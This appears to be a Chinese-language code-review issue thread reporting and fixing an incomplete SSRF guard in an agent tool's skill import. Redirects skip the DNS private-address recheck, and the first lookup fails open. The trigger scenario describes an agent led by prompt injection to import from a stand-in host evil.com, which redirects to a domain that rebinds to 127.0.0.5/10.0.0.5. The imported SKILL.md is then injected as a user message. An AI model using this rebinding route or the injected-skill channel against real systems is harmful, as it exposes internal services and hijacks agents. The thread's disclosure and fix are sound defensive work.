[code-review] skill #import:<url> SSRF 守卫不完整：重定向目标不做 DNS 私网复检 + 首查 fail-open，注释承诺的 rebinding 防护未兑现

[topcheer]

文件和行号
internal/tool/skill_portable.go:240-291（openSkillSource）

问题描述
注释（251-253 行）声称三层 SSRF 守卫：字面私网主机封堵、DNS 解析私网封堵（rebinding）、重定向复检。但实现存在两个缺口：

1. CheckRedirect（272-280 行）只对重定向目标 hostname 做字面 isPrivateHost 检查（web_fetch.go:263，仅匹配 localhost/.internal 等字面名与 ParseIP 可解的 IP 字符串），不对重定向目标重新做 DNS 解析+私网 IP 检查。
2. 首次请求的 LookupIPAddr 检查（263-269 行）fail-open（if lerr == nil 才检查，DNS 查询失败静默放行），且与 client.Get 的第二次独立解析之间存在经典 rebinding TOCTOU 窗口。

触发场景
agent 被 prompt injection 诱导执行 skill "#import https://evil.com/x.ggskill"（#1703 已承认此通道）：

• evil.com 解析公网 IP 通过首查 → 302 重定向到 rebind.evil.com（A 记录指向 127.0.0.5/10.0.0.5）→ CheckRedirect 字面检查放行 → client 实际拨号私网地址。
• 简化变体：首查 SERVFAIL 静默跳过，client.Get 二次解析直接返回私网 IP。
• 返回体若为合法 tar.gz，SKILL.md 内容还会注入为 user message（SSRF + 远程提示注入二合一）。

预期行为 vs 实际行为
预期：重定向目标经 DNS 复检拒绝私网地址；DNS 查询失败时拒绝。实际：仅字面检查，可经域名指向私网 IP 绕过。

修复建议
复用同包 web_fetch.go 的既有模式：自定义 DialContext（resolvePublicDialAddress）消除双解析 TOCTOU；CheckRedirect 中调用 rejectIfHostResolvesPrivate；263 行 lerr != nil 改为拒绝或至少 debug.Log。

严重程度
medium（独立复核确认：同包已有正确实现模板，属遗漏而非取舍；bypass/autopilot 模式下可全自动触发）

[topcheer]

【认领】复核属实，修复认领（本轮限额 1/2）：

验真（三缺口全部实证）：

1. CheckRedirect（L272-280）仅 isPrivateHost(req.URL.Hostname()) 字面检查——重定向到 A 记录指向 127.0.0.5/10.0.0.5 的域名字面非私网→放行→client 拨号私网。DNS 复检缺失属实。
2. 首查 if lerr == nil 才检查（L263）——SERVFAIL/超时静默放行到 client.Get 二次解析。fail-open 属实。
3. LookupIPAddr 与 client.Get 各自独立解析——rebinding TOCTOU 窗口结构性属实。

补充复核（比 issue 更进一步）：建议复用的 rejectIfHostResolvesPrivate 自身也 fail-open（lookup err→return nil，web_fetch 注释明载这是 proxy 路径的取舍）；真正收口是同包 resolvePublicDialAddress（DialContext 内单次解析+私网拒绝+DNS 失败即拒，天然 fail-closed）。

拟修复（对齐 web_fetch 双路径模式）：

• 非 proxy：skill client 加 DialContext→resolvePublicDialAddress（单次解析消除 TOCTOU；重定向后任何拨号同经收口，DNS 复检缺口与 fail-open 缺口同时闭合）
• proxy：对齐 web_fetch 跳过 DialContext 特判 + CheckRedirect/首查补 rejectIfHostResolvesPrivate
• 首查 lerr != nil 改拒绝（skill 导入低频操作，DNS 失败拒绝为安全默认）
• 源级不变式探针（SSRF rebind 无法本地确定性复现，本仓 [code-review] a2a OIDC auth block missing #1503 preset-placeholder issuer check (silent per-request 401s) #2781/[code-review] restart_windows 脚本启用 delayed expansion 但 winEscape 不转义感叹号，含 ! 的参数/路径被静默损坏 #2775 先例范式）

[topcheer]

已修复（分支 fix/issue-2793，FRESH 队列等 PR 窗口，暂不关闭）。

根因（三缺口全实证）：①CheckRedirect 仅字面 isPrivateHost——重定向到 A 记录指向私网 IP 的域名放行后由 client 拨号私网；②首查 if lerr == nil fail-open——DNS 失败静默放行；③LookupIPAddr 与 client.Get 双独立解析——rebinding TOCTOU。

改动（对齐 web_fetch.go #2165 双路径模式）：

• 非 proxy：skill HTTP client 装自定义 DialContext→resolvePublicDialAddress（拨号前单次解析+私网拒绝+解析失败即拒）——单次解析消除 TOCTOU，且重定向后每一跳拨号同经收口，缺口①③同时闭合。
• 首查收紧：lookup 失败从静默放行改为拒绝（skill 导入为低频操作者驱动动作，fail-closed 为安全默认）。
• CheckRedirect 补 DNS 复检：rejectIfHostResolvesPrivate 重解析重定向目标——proxy 路径主防线（DialContext 在 proxy 下不触发），非 proxy 下为 belt-and-braces。
• 补充复核：issue 建议复用的 rejectIfHostResolvesPrivate 自身 lookup 失败 fail-open（web_fetch 注释明载为 proxy 路径取舍），故真正收口锚定在 resolvePublicDialAddress。

验证：源级不变式三探针（SSRF rebind 场景无法本地确定性复现，#2781/#2775 先例范式）——DialContext 守卫/首查 fail-closed/重定向 DNS 复检三断言对 main 原文全部缺失（等价预修复 FAIL 钉根因）、对修复后全 PASS；Skill/Import/WebFetch/ResolvePublic/IsPrivate 既有族回归绿；go build -tags goolm ./... + gofmt 净。